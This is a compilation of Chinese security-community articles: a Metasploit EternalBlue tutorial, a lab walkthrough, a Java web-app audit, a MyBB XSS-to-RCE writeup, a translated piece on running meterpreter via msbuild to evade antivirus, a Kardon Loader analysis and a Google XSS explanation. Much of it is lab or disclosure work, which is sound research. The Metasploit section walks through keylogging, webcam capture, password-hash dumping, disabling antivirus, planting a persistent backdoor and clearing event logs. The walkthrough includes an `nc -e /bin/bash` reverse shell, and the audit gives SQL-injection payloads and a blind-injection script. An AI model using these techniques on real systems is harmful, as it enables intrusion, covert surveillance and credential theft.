* evasion模块(创建反杀毒软件的木马)
命令行可输入search寻找利用模块
msf5 > search MS17_010
常用的payload
Linux：
linux/x86/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/shell_bind_tcp
linux/x86/shell_reverse_tcp
linux/x64/shell_reverse_tcp
linux/x64/shell_bind_tc
Windows：
windows/meterpreter/reverse_tcp
windows/meterpreter/bind_tcp
windows/shell_reverse_tcp
windows/shell_bind_tcp
windows/x64/meterpreter/reverse_tcp
windows/x64/meterpreter/bind_tcp
windows/x64/shell_reverse_tcp
windows/x64/shell_bind_tcp
### MS17_010 Eternal bule(永恒之蓝)
下面用永恒之蓝演示一下
进入msfconsole search命令搜索MS17_010
搜索到相应的五个模块
使用第二个辅助模块来帮助我们探测哪些主机存在漏洞 输入此命令
msf5 > use auxiliary/scanner/smb/smb_ms17_010
msf5 auxiliary(scanner/smb/smb_ms17_010) >
查看所需要的配置信息：show options
使用RHOSTS 参数 来查询指定IP范围内的主机是否存在漏洞 然后输入exploit进行探测
看扫描结果 我内网连的主机少 结果前面如果是+，说明这台主机存在漏洞
之后就可以使用漏洞利用模块了 输入命令 输入info查看漏洞信息
msf5 auxiliary(scanner/smb/smb_ms17_010) > use exploit/windows/smb/ms17_010_eternalblue
msf5 exploit(windows/smb/ms17_010_eternalblue) > info
查看payloads 命令：show payloads
可以看到很多payload 自己根据当时情况使用哪个payload 想用哪个用哪个
设置payload 然后查看参数
RHOSTS 设置要攻击的主机IP ；LHOSTS 设置自己的IP 用于接收反弹回来的shell，默认4444端口监听 然后exploit开始攻击
接下来就不演示了 说一下exploit攻击成功后的渗透的相关命令
1.运行了exploit命令之后，就开启了一个reverse TCP监听器来监听本地的 4444
端口，攻击者的本地主机地址（LHOST）和端口号（LPORT）。运行成功之后，我们将会看到命令提示符 meterpreter > 出现，然后我们输入：
shell 即可切换到目标主机的windows shell，要想从目标主机shell退出到 meterpreter ，我们只需输入：exit
想要从meterpreter退到msf：background
输入命令： sessions -l 查看我们获得的shell
输入命令：sysinfo 查看攻击目标主机的相关信息
查看攻击目标主机是否在虚拟机上面运行：run post/windows/gather/checkvm
关闭目标主机上运行的杀毒软件：run killav
获取目标主机详细信息并保存到本地：run scraper
关于文件的命令：
cd：切换目标目录；
cat：读取文件内容；
rm：删除文件；
edit：使用vim编辑文件
ls：获取当前目录下的文件；
mkdir：新建目录；
rmdir：删除目录
关于上传文件和下载文件：
upload file 向目标主机上传文件
download file 在目标主机下载文件
2.关于提高权限
1.输入命令：getsystem 帮助我们提高权限(提示错误，但已经成功提权)
2.命令：getuid 获取当前用户信息(查看是什么权限)
3.获取目标主机用户名密码
1.run windows/gather/credentials/windows_autologin 抓取自动登录用户的用户名和登录密码
2.run hashdump hashdump模块从SAM数据库导出本地用户(得到的密码哈希值可用 Jhon the Ripper来破解密码)
4.关于目标主机里的程序
1.run post/windows/gather/enum_applications 查看目标主机安装的应用程序
2.execute 此命令可在目标系统中执行相关应用程序
execute 参数 -f 可执行文件
可选参数：
-f：指定可执行文件
-H：创建一个隐藏进程
-a：传递给命令的参数
-i： 跟进程进行交互
-m：从内存中执行
-t： 使用当前伪造的线程令牌运行进程
-s： 在给定会话中执行进程
screenshot 目标主机屏幕截图 图片会保存到/root目录下
5.创建新本地用户
1.run post/windows/gather/enum_logged_on_users 查看当前主机已存在的用户
2.run getgui -u username -p password 添加一个用户为username，密码为password的用户，然后添加到Administrators组中(如果添加失败，可以使用之前execute命令运行cmd窗口手动将用户添加到Administrators组中)
6.关于远程桌面
首先确保目标主机开启了远程桌面功能
1.idletime 先检查主机远程用户的空闲时长
2.run getgui -e
3.run post/windows/manage/enable_rdp 以上两个命令都可开启目标主机远程桌面功能
7.关于记录键盘
1.keyscan_start：开启键盘记录功能
2.keyscan_dump：显示捕捉到的键盘记录信息
3.keyscan_stop：停止键盘记录功能
8.关于绑定进程实现meterpreter持久化
ps 查看目标设备中运行的进程
getpid 查看我们当前运行的进程id
migrate 命令来绑定目标进程id(后面跟要绑定进程的id即可)
run post/windows/manage/migrate 此命令会自动寻找合适的教=进程然后换绑定进程
9.关于目标主机的摄像头
webcam_list 获取目标主机的摄像头列表
webcam_snap 从指定的摄像头拍摄照片
webcam_stream 从指定的摄像头开启视频
10.关于留后门
如果目标主机关机，meterpreter建立的连接就会断开
所以我们可以在目标主机系统内留下一个持续性的后门，只要目标主机开机，我们就可以连接到该主机
通过添加服务到注册表 之后只要开机就会自动启动并连接
run persistence -X -i 8 -p 6666 -r 192.168.10.27 #反弹时间间隔是8s 会自动连接192.168.27的4444端口，缺点是容易被杀毒软件查杀
#运行之后它就在目标机新建了这个文件：
C:\Windows\TEMP\CJzhFlNOWa.vbs 代表把该服务加入了注册表中，只要开机就会启动
添加之后的连接就是在6666端口进行监听
11.最后清除事件日志(拍拍屁股走人，要拍干净才能走哦)
之前我们做的所有操作都会被记录在攻击的目标主机的系统日志文件之中，所以我们需要在完成攻击之后清除掉事件日志
clearev 清除事件日志
参考：
[0x01](https://www.fujieace.com/metasploit/tutorials.html)
[0x02](https://thief.one/2017/08/01/1/) | 社区文章 |
# 环境说明
靶机环境 192.168.107.128
攻击机kali 192.168.107.129
# 主机发现
首先用nmap进行主机发现，因为都在同一网段，所以`nmap -sP 192.168.107.1/24`
可以看到，本机ip是129，所以靶机自然就确定为192.168.107.128。
# 端口扫描
确定了靶机ip，就来确认一下开放的端口，使用`nmap -sS -A 192.168.107.128`
靶机开放了4个端口，web80端口，ftp21端口，ssh22端口，还有一个8011端口，我们一个一个看，先从web服务入手，
# 目录扫描
访问，是一个博客的页面，主页上什么东西都没有，纯静态。所以我们扫一下目录
看到了两个有用的东西，一个是robots.txt,一个是备份的源码index.html.bak，还是一个一个来，先看看robots.txt，
什么都没有，右键源码也是什么都没有，那就接着去看bak泄露的东西，下载下来，打开
这里给我们透露了一个development目录,还有类似于用户名密码的字符串，那我们就去看看这个目录，
果然需要用户名和密码才能登陆，先放一放，看看其他入口，之前有个ftp端口开放了，看看有什么有用的文件，
nothing，另外一个8011端口
# 包含漏洞发现
看样子得扫一下目录了，
一个api，里面有四个api，经过访问，只要files_api.php能够访问，其余三个都是404，
看样子是要让我们传入一个file参数，传入一个/etc/passwd结果发现是WRONG，难道说是过滤了什么？又试了其他的一些目录都是WRONG，
感觉什么都没法读啊。。突然想到除了get，还可以post啊，果然，post一个file就行了
然后再来看我们之前的那串字符串，丢到kali下的john里解密，`john <filename>`。
解密出来，密码是frank!!!。
然后去登陆
# 包含上传组合拳获取会话
扫一发目录，没什么发现，看到页面上的描述，the uploader
tool，应该是uploader目录，
一个上传的页面，那应该是上传getshell了，我们随便上传一个gif
已经上传了，但是，我们找不到上传的路径，通过has been uploaded my uploads
path，可以猜一猜上传路径，根据网站我写了个字典，Fuzz一下
结果上传路径为FRANKuploads。
测试上传php，截断，等各种php都传不上去，这时候突然想到还有一个包含的漏洞，可以传一个gif文件里面插入一句话，然后再包含。我写了一个phpinfo().加个GIF98的头。果然能用，然后我想直接弹个shell，插一个`nc
-e /bin/bash 192.168.107.129
4444`。结果，没有任何反应，那应该是有什么过滤，接着我用msf生成了一个一句话，。
然后非常开心，居然成功了。（后来我在shell上测试nc的时候也不行，那应该就是靶机本身的问题吧）。
# 提升权限
我们引入一个交互式shell,`python -c 'import
pty;pty.swpan("/bin/bash)'`
然后不能访问root，sudo需要密码，谷歌一发，发现编号，把他放在kali
web服务下
。然后靶机用wget下载
，至此提权完成。 | 社区文章 |
# 项目地址
<https://github.com/Hui4401/StudentManager>
# 代码审计
之前也没审过java的项目，刚学java，就从index.jsp开始一个一个点追吧
# cookie绕过登录验证
## 漏洞分析
这里遍历获取到cookie，是否存在name键
如果cookie中存在name就把name的值调用findWithId()函数
如果是老师就进入one_page_student，如果是学生就进入student/main.jsp
继续看一下findWithId()函数
这里就是把name的值，在数据库中查询，而且是直接sql语句的拼接肯定有注入，这个后面再说
如果查到了就返回tea
所以这里可以伪造一下存在的用户，不用登录就可以直接跳转到后台
## 复现
访问login.jsp,抓包
更改路径为index.jsp, cookie中添加存在用户123
GET /index.jsp HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Phpstorm-9e28e970=dbc7cd43-3413-4de5-aa40-3254070809b3; JSESSIONID=0F189B92035E90638972A9FB86734AC0;name=123
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
直接进入后台
# sql注入-1
## 漏洞分析
这里之前提到了findWithId()函数存在SQL语句拼接，所以name的值直接就可以利用
## 复现
存在一个盲注，如果语句查询正确就是跳转到one_page_student，错误就是跳到login.jsp
这里cookie注入还有一点坑点，空格和,号不能用，绕过一下，写了个脚本
成功得到库名
import requests
import string
charset = ",@"+ string.digits + string.ascii_lowercase + string.ascii_uppercase + string.printable + string.punctuation
def r(s):
s = s.replace(" ", "/**/")
return s
sql = "database()"
result = ""
for i in range(1,100):
for c in charset:
cc = ord(c)
cookie = f'''name=123'/**/and/**/ascii(substring({sql}/**/from/**/{i}))={cc}#'''
url = "http://localhost:8080/index.jsp"
proxies = {"http": "http://127.0.0.1:8081"}
headers = {
"cookie": cookie}
r = requests.get(url,allow_redirects=False,headers=headers)
if "one_page_student" in r.headers.get('Location'):
result += c
print(result)
break
print('over!!!')
继续来看login.jsp,先搞搞登录
这里把前端得到的用户密码交给了check_login去处理
# sql注入-2
## 漏洞分析
直接来看check_login
这里把获取到的用户名密码交给了checkAccount函数
跟进看一下
发现是sql语句拼接用户名密码
## 复现
那可以用万能密码进行登录了
123'#
sdsdsfsd
直接登录成功
报错注入
user=123'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))#&password=sdsdsfsd
登录看完了来看看注册
# 任意用户注册
## 漏洞分析
这里把数据交给了check_register处理
这里看到session去获取验证码的值
这个验证码randStr的值是在code.jsp中去设置的，并没有去设置失效的时间
所以验证码可以重复利用导致
## 复现
注册一个用户qwe
抓包然后把用户名改成qwe1，qwe2
查看数据库，发现全部注册成功
开始看看后台
从个人信息开始
# 越权更改其他用户头像
## 漏洞分析
有一个文件上传的功能，但是我本地是mac，截断没成功，不知道师傅们有没有手法可以上传成功
但是可以干坏事，更改id去改其他用户的头像
## 复现
登录zzu的账号头像是这个
然后退出登录，登录123
给123上传头像，抓包替换id为zzu
发现123头像没变，退出登录zzu的账号
头像被替换
# 文件上传之目录穿越
## 漏洞分析
既然这个id可以控那还可以尝试一下目录穿越，就是这个拼接很难受，没绕过去
## 复现
id改成../zzu
发现在上层目录看到了zzu.jpeg
# 任意修改其他用户信息(包括密码)
## 漏洞分析
个人信息密码这里调用了update_teacher
跟进看一下
调用updateTeacher()函数，去更改密码以及其他的参数
跟进updateTeacher()函数，这里可以直接改其他的用户密码等信息
## 复现
这里数据库中zzu的密码是123
在123用户处抓包更改为zzu，密码改成123456
查看zzu的数据已经被成功替换
# sql注入-3
## 漏洞分析
还是这个点，updateTeacher()函数这里还调用了一个findWithId()函数
id在findWithId()中也是SQL语句拼接
## 复现
在uid这里报错注入
uid=zzu'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))#&name=zzu&sex=%E7%94%B7&email=123%40test.com&password=123456
# sql注入-4
## 漏洞分析
下一步学生管理
搜索处调用了one_page_student
继续跟进，这个key进入了findWithId()函数
findWithId()函数
## 复现
key=1111'/**/and/**/extractvalue(1,concat(0x7e,(select/**/@@version),0x7e))#
然后就是在dao中写的函数基本上是一些sql语句的拼接，可以全局搜索哪些地方调用了这些函数，就是有sql注入了。 | 社区文章 |
这篇文章展示了在`MyBB 1.8.21` 版本之前，攻击者能够通过向管理员发送恶意私信或者创建一个恶意帖子来接管任意托管主机
> MyBB是一个开源论坛软件，软件地址：<https://mybb.com/>
## 影响
我们发现，由于在`1.8.20及其之前版本`对于所发帖子和私信的解析错误而产生的一个存储性XSS，同时还有一个绕过身份认证的RCE漏洞能够被论坛管理员利用
攻击者仅需一个目标论坛的账号，然后向管理员发送一封包含恶意 **JS代码**
（用于利用RCE漏洞）的私信。只要同时一名后端管理员打开恶意的私信，这使得攻击者可以完全接管目标主机。无需在进行进一步的用户交互。
这使攻击者能够完全访问存储在主机数据库中的所有用户帐户、私有主题和消息。
## 技术分析
下面，我们分析了使用RIPS代码分析检测到的安全漏洞。
## bbcode的存储性xss
MyBB利用3个步骤解析和渲染主题，帖子和私信。这一过程的目的是消除用户输入的恶意代码并呈现所谓的`mycodes`或`bbcodes`。`Bbcodes`方便论坛用户在帖子中去嵌入图片，链接和视频
下面的图像表明了`MyBB`渲染过程的常规执行流程
该过程首先简单地转义所有HTML标记和双引号。然后，它会将所有`[video]` mycodes转换为嵌入视频的`<iframe>`标签。
例如，YouTube上。视频bbcodes在一个步骤中呈现的原因是管理员可以禁用它们（默认情况下启用它们）。
最后，它会将所有其他mycode（例如`[url]`，`[quote]`和`[email]`）转换为HTML标记。
事实上，与其他bbcodes转换方式不同，`[video]`bbcodes被转换为html标记的方式引导我们产生了一个想法：即可能可以制作一个`[video]`bbcode，其结果是html标记在其属性中包含其他短代码，例如：
<iframe src="youtube.com/xyz[url]http://onload=evilCode()[/url]"></iframe>
其想法是MyBB随后将用更多包含双引号（“）的HTML标记替换iframe的src中的`[url]`bbcode，从而损坏HTML并导致属性注入。
上述例子在第三步处理后将会导致产生以下的html标记：
<iframe src="youtube.com/xyz<a href="http://onload=evilCode()">.."></iframe>
可以看到，`iframe`的`src`属性随后由injected
href属性和它的引号关闭。这将导致`onload`事件处理程序被注入到`<iframe>`html标记中。
通常，不可能在其他bbcode中注入bbcode，因为regex过滤器已经到位，可以防止此类攻击。但是，负责呈现`[video]`bbcodes的回调方法调用应嵌入视频（例如`youtube.com/xyz`）的URL上的`urlcode（）`。这在以下代码段中显示：
[
事实上被`urldecode`的视频URL允许绕过正则保护并通过URL编码注入`[url]`bbcode，如上所述。然后，这会导致将`onload`事件处理程序注入`<iframe>`标记。一旦iframe中的页面被加载，该事件处理程序就会触发，因此不需要用户交互来触发恶意JavaScript代码。
## 通过文件写入利用管理面板中的RCE
MyBB论坛的管理员可以在管理面板中管理其安装的活动主题的样式表。他们还可以在服务器上创建新的样式表文件并选择文件名。
如果管理员帐户角色的攻击者可以简单地创建新的样式表文件并将其称为`shell.php`，则会出现明显的文件写入漏洞。
但是，对此功能背后的源代码进行快速调查后发现，只允许使用`.css`文件扩展名：
[
引起我们注意的是扩展检查后发生的事情。MyBB不是简单地在文件系统中创建样式表文件，而是首先存储样式表文件的名称，以及为启动MySQL的数据库中的内容。当我们查看`mybb_themestylesheets`表及其结构时，我们注意到一些有趣的事情：存储新导入样式表文件名的`name`列被定义为`varchar`列，最多包含30个字符。
[
然后我们注意到，当通过XML文件导入时，样式表文件名的长度不会被检查，从而导致攻击者能够欺骗MyBB插入超过允许30个字符的文件名。MySQL在许多系统上的默认行为是将文件名截断为30个字符。
攻击者可以通过将文件名设置为例如`aaaaaaaaaaaaaaaaaaaaa.php.css`来滥用此行为。这个文件名有34个字符。因为它以`.css`扩展名结尾，所以它通过了mybb的安全检查。但是，当该字符串插入数据库时，它将被截断为30个字符，并且只有`aaaaaaaaaaaaaaaaaaaa.php`保留在数据库中。
然后，攻击者可以使用管理面板生成新导入的样式表文件并将其写入文件系统。这将在缓存目录中创建一个`php shell`。
## 时间线
时间 | 事件
---|---
2019/04/29 | 向MyBB团队私下报告了多个漏洞。
2019/04/29 | MyBB承认这些漏洞。
2019/06/10 | MyBB发布1.8.21版，其中包含针对漏洞的补丁。
## 总结
这篇博客文章详细描述了一个漏洞链，它可以被滥用来接管在1.8.21版本之前运行mybb的任何论坛。攻击者可能滥用了XSS漏洞来接管目标论坛上的任何论坛帐户，或者通过文件写入漏洞直接尝试在目标系统上创建shell，方法是向管理员发送包含恶意javascript代码的目标论坛上的私有消息。虽然mybb的前端和后端会话有两个独立的会话，并且管理员在读取私有消息时可能不总是有活动的后端会话，但攻击者可以多次尝试，因为除了目标管理员之外，不需要任何用户交互来打开恶意的私有消息。
reference：
利用视频：<https://blog.ripstech.com/videos/mybb-stored-xss-to-rce.mp4>
原文：<https://blog.ripstech.com/2019/mybb-stored-xss-to-rce/> | 社区文章 |
# win10内存花式执行meterpreter并绕过杀毒软件
##### 译文声明
本文是翻译文章，文章来源：https://www.n00py.io/
原文地址：<https://www.n00py.io/2018/06/executing-meterpreter-in-memory-on-windows-10-and-bypassing-antivirus/>
译文仅供参考，具体内容表达以及含义原文为准。
最近我在coalfire博客上看到一篇文章，讲的是利用Invoke-CradleCrafter来执行混淆的powershell payload。
由于Windows defender已经升级到最新并且屏蔽了metasploit的web利用模块，所以这篇文章非常有用。
这里我想展示另一种方法来达到同样的效果，但是不会删除主机系统上的任何文件，也会根据主机对互联网开放的端口提供更多选择。
为了生成payload，我得先去GitHub上看下Ben Ten和Spoonman大神创建的nps_payload脚本。
这个脚本利用了MSbuild.exe文件，能够绕过很多白名单应用配置文件(AWL)。
执行以下步骤下载nps_payload脚本:
执行脚本：
输入1选择“Generate msbuild/nps/msf payload”
然后输入3，选择“windows/meterpreter/reverse_https”
这会输出一个msbuild_nps.xml文件，当然你也可以进行重命名。
要把这个文件传到靶机上，我们需要先在本地启用SMB共享服务。
通过以下步骤来启用本地共享：
然后在smb.conf文件底部添加以下内容：
将payload拷贝到你指定路径下的目录里。
现在payload已经在SMB共享文件里了。下一步就是开启Metasploit监听。
你也可以使用nps_payload生成的msbuild_nps.rc文件。
确保你的本地端口(LPORT)和本地主机(LHOST)跟nps_payload脚本中的保持一致。
在远程主机上执行文件有很多方法。
如果你可以RDP远程连接主机的话，直接在命令行中粘贴如下命令：
%windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe \192.168.137.133Guest
Sharemsbuild_nps.xml
如图：
你也可以利用常见的命令执行工具通过网络来远程执行：
**CrackMapExec方式执行 ：**
crackmapexec smb 192.168.137.1 -u Administrator -p Password123 -x
‘%windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe
\192.168.137.133Guestmsbuild_nps.xml’
**python impacket 包中的wimiexec.py：**
python wmiexec.py Adminstrator:[email protected] cme.exe /c start
%windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe
\192.168.137.133Guestmsbuild_nps.xml
测试的时候，执行脚本遇到了一点问题。因此我想到了用WebDAV的方式把脚本上传到靶机中，这个方法比SMB共享更好。
为什么要用WebDAV呢？我们先来了解一下UNC路径问题。
Windows首先会访问445端口的SMB共享服务，如果失败，则会尝试访问80端口的WebDAV服务。这种方式非常有用，原因如下：
1\. SMB服务通常会被防火墙屏蔽。如果你想从远程主机上获取payload通常都行不通，因为445端口被屏蔽了。
2\. CrackMapExec版本4，需要服务器的445端口运行SMB服务来执行命令。我们不能在同一时间在同一台主机上使用SMB共享和CME服务。
3\. WebDAV支持HTTPS。
有很多方法可以搭建WebDAV服务器。你可以用Apache来搭，这里我用一个python工具WsgiDAV来搭建一个。
通过pip命令来安装WsgiDAV，非常简单，只需要输入如下命令：
使用也很简单，运行如下命令：
在这个例子中，我把payload放在/tmp/目录下”test”文件夹中。
要远程执行payload，我们只需要执行如下命令：
CrackMapExec：
crackmapexec smb 192.168.137.1 -u Administrator -p Password123 -x
‘%windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe
\192.168.137.134Davwwwroottestmsbuild_nps.xml’
如图：
Impacket包的wimiexec.py脚本：
python wmiexec.py Administrator:[email protected]
C:>%windir%Microsoft.NETFrameworkv4.0.30319msbuild.exe
\192.168.137.134Davwwwroottestmsbuild_nps.xml
如图：
这样一来，我们就可以不用SMB共享在靶机上执行payload了。
没有对磁盘写入任何东西，没有SMB带外流量，因此完全可以避开杀毒软件。 | 社区文章 |
# 恶意软件Kardon Loader正在寻找公开测试者
|
##### 译文声明
本文是翻译文章
原文地址：<https://asert.arbornetworks.com/kardon-loader-looks-for-beta-testers/>
译文仅供参考，具体内容表达以及含义原文为准。
## 主要发现
l ASERT的研究人员发现Kardon Loader在地下论坛被广告宣传；
l Kardon Loader的功能特点是允许客户开设自己的僵尸商店（botshop），使得购买者有能力重建bot并出售给其他人；
l Kardon Loader目前处于开发初期阶段，公开测试阶段；
l 合并了大量的反分析检查以阻止分析。
图1：Kardon Loader的广告
## 概要
Kardon
Loader是一款在地下论坛上作为付费公开测试版本进行广告宣传的恶意软件下载器（downloader），这个恶意软件已经被一个用户名为Yattaze的用户出售。从四月下旬开始，该恶意行为者将恶意软件作为一个独立版本销售，并为每次额外的重新构建或建立一个botshop的能力收费。在这种情况下，任何客户都可以建立自己的经营网络，进一步出售获得一个新的客户基础。
恶意软件作者和分销商利用下载器恶意软件和botshop来构建恶意软件分发网络。恶意软件分发网络通常被网络犯罪分子用来创建僵尸网络，以分发额外的有效载荷，如凭证盗取恶意软件、勒索软件、银行木马等。这些分发网络通常由第三方运营商运营，并在地下市场作为服务提供。
## 历史
2018年4月21日，威胁参与者Yattaze开始宣传一款名为Kardon
Loader的下载器公开测试版，售价50美元。恶意软件家族的描述表明，该恶意软件由ZeroCool僵尸网络重命名而来，该僵尸网络之前是由同一威胁参与者开发的。这位威胁参与者自2017年4月起就在论坛上注册了账号，并获得了对该产品的多个担保。这个Loader的广告有专业的外观与自己的logo
（图1和图2）。
图2：Kardon Loader的定价
威胁参与者提供了一份声明，声明不应将此软件用于恶意目的（图3）。
图3：Kardon Loader的免责声明
此外，威胁参与者上传了一个YouTube视频，用于演示管理面板的功能（图4）。
图4：Kardon Loader
YouTube演示（[https://youtu.be/8m1BOoHtcNo](https://youtu.be/8m1BOoHtcNo)）
## 分发
从论坛帖子中获得的评论表明，这位威胁参与者最初是利用一个著名的botshop “Pink Panther’s automated loads shop
(Pink)”进行测试的。来自威胁参与者的评论显示，这个bot目前还没有广泛分发。在威胁参与者发布的Loader测试网络的屏幕截图中，只有124个感染显示（图5）。
图5：Kardon Loader管理面板显示感染情况
## 分析
威胁参与者声称Kardon Loader提供或即将提供以下功能：
l Bot功能
l 下载并执行任务
l 更新任务
l 卸载任务
l 用户模式 Rootkit
l RC4加密（尚未实施）
l 调试和分析保护
l TOR支持
l 域名生成算法（DGA）
ASERT发现许多功能在所审查的样本中是不存在的。分析的所有样本都使用硬编码的命令和控制（C2）URL，而不是DGA。在二进制文件中也没有TOR或用户模式rootkit功能的证据。
## 反分析技术
Kardon Loader使用了一些反分析技术，例如试图获取以下DLL的模块句柄：
l avghookx.dll
l avghooka.dll
l snxhk.dll
l sbiedll.dll
l dbghelp.dll
l api_log.dll
l dir_watch.dll
l pstorec.dll
l vmcheck.dll
l wpespy.dll
如果返回上述任何一个DLL句柄，它将退出该进程。这些DLL与杀毒、分析工具和虚拟化相关联。Kardon Loader还会枚举CPUID Vendor
ID值，并将其与以下字符串进行比较：
l KVMKVMKVM
l Microsoft Hv
l VMwareVMware
l XenVMMXenVMM
l prl hyperv
l VBoxVBoxVBox
这些是已知的与虚拟机相关的CPUID Vendor ID值。如果检测到其中一个值，恶意软件也会退出。
## 命令与控制
Kardon Loader使用基于HTTP的C2基础设施和base64编码的URL参数。执行后，Kardon Loader将发送HTTP
POST到C2，其中包含以下字段：
l ID =识别码
l OS=操作系统
l PV=用户权限
l IP=初始有效荷载（完整路径）
l CN=计算机名称
l UN=用户名
l CA=处理器体系结构
在执行时，从Kardon Loader样本执行时发送的POST有效载荷示例可以从（图6）看到：
图6：Kardon Loader POST 请求
一旦发出请求，C2服务器将提供不同的反馈，这将导致下载和执行额外的有效载荷、访问网站、升级当前有效载荷或卸载自身。等待命令的C2服务器响应格式是：
l notask
其他命令包括下载和执行功能使用以下格式：
l newtask`##`＃<URL>
n Hashmarks表示两个字符的任务ID和一个字符的任务值
接下来，受感染的主机会以与以下附加字段相同的格式向C2发回确认消息：
l TD=任务标识符（由命令和控制提供）
l OP=任务输出（如果成功则为1，否则为2）
对各种样本的分析揭示了另一个用于卸载由C2引导的loader的参数：
l UN=卸载
威胁参与者在他们的广告主题上发布的帖子表明，将来这个家族的C2通信将被改为RC4加密。另外，如果威胁参与者真正实现了DGA，可能会将其用作C2的回退机制。
## 管理面板
图7：Kardon Loader 管理面板
Kardon
Loader面板采用了一个简单的设计，由bot分发仪表板和安装统计信息组成。该面板的一个显著特点是bot商店功能，允许bot管理员为客户生成访问密钥，从而使他们能够根据预定义的参数执行任务（图8）。
图8：Kardon Loader 商店
用户可以指定一个URL，然后提供任务类型和执行次数，以便将命令分发给网络上的bot。威胁参与者在YouTube视频中展示了这一点（图4）。
## 结论和建议
本文概述了称为Kardon Loader的下载器恶意软件。Kardon
Loader是一个全功能的下载器，可以下载和安装其他恶意软件。例如，银行木马/凭证窃取软件等。下载器是恶意软件生态系统的重要组成部分，通常由专家开发并独立于木马进行销售，这是该活动的目标。虽然只有在公开测试版阶段，该恶意软件才具有bot商店功能，允许购买者使用此平台开设自己的botshop。但这位威胁参与者在四月底开始为此Loader做广告，并表示今后将会在这个Loader的基础上进行进一步的开发，包括加密的C2通信。
至少组织应该利用本报告中包含的指标来阻止与Kardon Loader相关的恶意活动。研究人员还可以利用下面的Yara规则来寻找Kardon
Loader的其他副本来，以提取其他用于阻止恶意活动的IOC。
## Yara规则
l <https://gist.github.com/arbor-asert/2ad9c7d715f41efc9d59ed8c425d10d3>
## Hashes
l fd0dfb173aff74429c6fed55608ee99a24e28f64ae600945e15bf5fce6406aee
l b1a1deaacec7c8ac43b3dad8888640ed77b2a4d44f661a9e52d557e7833c7a21
l 3c64d7dbef4b7e0dd81a5076172451334fe9669800c40c895567226f7cb7cdc7
## C&C URLs
l Kardon[.]ddns[.]net
l Jhuynfrkijucdxiu[.]club
l Kreuzberg[.]ru
l Cryptdrop[.]xyz
审核人：yiwang 编辑：边边 | 社区文章 |
# Google Search XSS漏洞分析
##### 译文声明
本文是翻译文章，文章原作者 kinugawamasato，文章来源：kinugawamasato
原文地址：<https://www.youtube.com/watch?v=lG7U3fuNw3A>
译文仅供参考，具体内容表达以及含义原文为准。
前几天，在油管上看到一个Goolge Search XSS的视频，感觉还是非常震惊的。都9102年了，竟然还能在Google首页找到XSS？
开门见山，XSS的payload是`<noscript><p title="</noscript><img src=x
onerror=alert(1)>">`。看似平平无奇的payload，究竟是如何导致XSS的呢？下面，我们就一起来康康。
## HTML Sanitization
为了防止XSS的发生，我们通常会对用户的输入进行sanitize（本意是消毒，净化。在此表示，对于用户输入中可能产生XSS的部分进行编码或过滤。既保证用户输入内容的完整性，同时也防止嵌入的JS脚本被执行）。目前，很多Web框架也能做到这些。但是，针对HTML的过滤，仍然存在一些问题。比如，在某些场景下，我们希望保留一些HTML标签。如下图的Gmail页面所示，b标签表示加粗，i标签表示倾斜。
### 服务端解析
针对这种需要过滤掉XSS的同时，保留部分HTML标签的情况。有人可能会想到，我们可以在实现一个HTML
Sanitizer在服务端过滤掉可能导致XSS的输入。然而，实现这样的Sanitizer绝非易事。
通过下面这个例子，来康康为何困难？
下面是两个不完整的HTML代码片段，看起来，这两段代码有着相似的结构，`div`和`script`都有结束标签（`</div>`和`</script>`），但同时结束标签又是另一个标签的属性（`title`）的值。
1. <div><script title="</div>">
2. <script><div title="</script>">
大家可以先思考一下，浏览器是如何解析他们的呢？
公布答案！
对于代码片段1，浏览器将其解析为一个`div`，内部包含一个`script`。并且自动补全了`<head>, <body>, <html>`等标签。
看起来挺合理的。浏览器的解析顺序如下：
1.发现`div`开始标签。
2.发现`script`开始标签。
3.`script`标签内部有一个`title`属性，内容是`</div>`。其实，这里的值是什么都无所谓，浏览器都会把它看做一个字符串，并作为`title`的值。
4.自动补全`script`结束标签。
5.自动补全`div`结束标签。
对于代码片段2，浏览器的解析则完全不同。
浏览器使用`title`属性里的`</script>`进行了闭合，并将`div
title="`作为`script`标签的内容插入其中。`</script>`后面的`">`则作为普通的字符串插入到了`<body>`元素中。
浏览器在解析`<script>`标签的内容时，使用了JS Parser而不是HTML Parser，其内容`<div
title="`被看作是JavaScript代码（当然，这段代码并不符合JavaScript语法规范）。
两段相同结构的HTML代码片段，却被解析成了完全不同的DOM结构。由此可见，浏览器解析HTML的规范非常复杂。而且，不同的浏览器在解析HTML的时候也可能存在不同的规范。所以，在服务器端实现一个HTML
Sanitizer，并且兼容不同版本的不同浏览器对于HTML的解析规范是非常困难的。
### 客户端解析
聪明如你，可能已经想到。既然如此，我们不如在客户端对HTML进行sanitize。利用浏览器本身的Parser来解析HTML，然后我们只需要对解析后的结果进行sanitize即可。
浏览器正好提供了`template`标签，可以用来解析HTML，而且在解析过程中不会触发JavaScript脚本执行。
下面，通过对比普通的`div`标签，来说明`template`标签是如何工作的。
在浏览器的Console中执行下面这段代码
// 创建一个div元素
div = document.createElement('div');
// <img src=x onerror=alert(1) /> 作为XSS payload插入div
div.innerHTML = "<img src=x onerror=alert(1) />"
如下图所示，毫无疑问，alert弹窗产生。
如果，我们将payload放到`template`元素中呢？
// 创建一个template元素
template = document.createElement('template');
// 将同样的payload插入template中
template.innerHTML = "<img src=x onerror=alert(1) />"
没有alert弹窗产生。而且，我们能从`template`中拿到解析后的HTML，并进行sanitize。
// 查看解析后的HTML，结果为 <img src="x" onerror="alert(1)">
template.content.children[0]
// sanitize HTML，删除可能导致XSS的危险属性 onerror
template.content.children[0].removeAttribute("onerror");
// 将安全的HTML插入最终需要渲染的DOM节点上
div.innerHTML = template.content.children[0];
